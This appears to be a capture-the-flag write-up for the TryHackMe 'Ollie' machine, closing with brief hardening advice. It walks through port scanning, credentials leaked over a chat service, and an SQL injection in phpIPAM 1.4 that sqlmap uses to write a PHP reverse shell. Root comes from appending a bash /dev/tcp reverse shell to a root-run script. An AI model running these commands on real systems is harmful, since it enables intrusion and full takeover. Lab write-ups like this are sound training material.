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Writeup - Ollie (THM)

·703 words·4 mins·
Cybersecurity, Devops, Infrastructure
Table of Contents

This is a writeup for the Ollie machine from the TryHackMe site.


First, let’s start with a scan of our target with the following command:

nmap -sV -T4 -Pn

Three TCP ports are discovered:

  • 22/tcp : SSH port (OpenSSH 8.2p1)
  • 80/tcp : HTTP web server (Apache 2.4.41)
  • 1337/tcp : Chat and file Β sharing (waste)


First of all I connect via netcat to the waste port to see if I can get some information.

└─$ nc 1337             
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? azerty
What's up, Azerty! It's been a while. What are you here for? test
Ya' know what? Azerty. If you can answer a question about me, I might have something for you.

What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

                    Username: admin

                    Password: OllieUnixMontgomery!

PS: Good luck and next time bring some treats!

After some tests, I find that the chat returns credencials for an admin panel. If I go to the port 80 site, I find a login page, so I test the credencials and it works!

This is an administration page based on phpIPAM 1.4 after some research I find the following exploit : exploit. I try to apply it to see if it works.

After following the different steps, the exploit works, so we can now perform SQL injections! To automate the upload process of a php reverse shell I will use sqlmap. I start by extracting a query with Burp :

POST /app/admin/routing/edit-bgp-mapping-search.php HTTP/1.1
Content-Length: 20
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Sa>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpipamredirect=%2Findex.php%3Fpage%3Dtools%26section%3Drouting%26subnetId%3Dbgp%26sPage%3D2; phpipam=151l3>
Connection: close


Then with the following command I send my php file :

sqlmap -r request.txt --file-write=reverse.php --file-dest=/var/www/html/reverse.php --batch

After running netcat I can access the file and create a reverse shell.

After some research I find that a user folder: ollie. So I try to change the user with the password I found before:

I can now recover the first flag.

ollie@hackerdog:~$ cat user.txt
cat user.txt

Privilege escalation

I start by running but I don’t find anything interesting. So I try to list the services with pspy64.

ollie@hackerdog:~$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

     β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ   β–ˆβ–ˆβ–“
    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–‘ β–“β–ˆβ–ˆβ–„   β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’  β–’   β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’ β–‘ β–β–ˆβ–ˆβ–“β–‘
    β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–‘ β–ˆβ–ˆβ–’β–“β–‘
    β–’β–“β–’β–‘ β–‘  β–‘β–’ β–’β–“β–’ β–’ β–‘β–’β–“β–’β–‘ β–‘  β–‘  β–ˆβ–ˆβ–’β–’β–’ 
    β–‘β–’ β–‘     β–‘ β–‘β–’  β–‘ β–‘β–‘β–’ β–‘     β–“β–ˆβ–ˆ β–‘β–’β–‘ 
    β–‘β–‘       β–‘  β–‘  β–‘  β–‘β–‘       β–’ β–’ β–‘β–‘  
                   β–‘           β–‘ β–‘     
                               β–‘ β–‘     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2022/04/13 10:11:43 CMD: UID=0    PID=1355   | python3 -u
2022/04/13 10:12:04 CMD: UID=0    PID=37813  | /bin/bash /usr/bin/feedme

In the result of the command I see 2 interesting services executed by the UID=0 i.e. root. The second one is a bash script but without any particular content. But I have write permission.

So I add a reverse shell in the file with the following command:

echo "/bin/bash -i >& /dev/tcp/ 0>&1" >> /usr/bin/feedme

Then after a few seconds, I have a reverse shell root and I can recover the last flag.


To patch this host I think it would be necessary to perform a number of actions:

  • Do not put credentials in a public chat
  • Do not use the same password for a session and a web service
  • Do not allow scripts executed by root to be writable by other users


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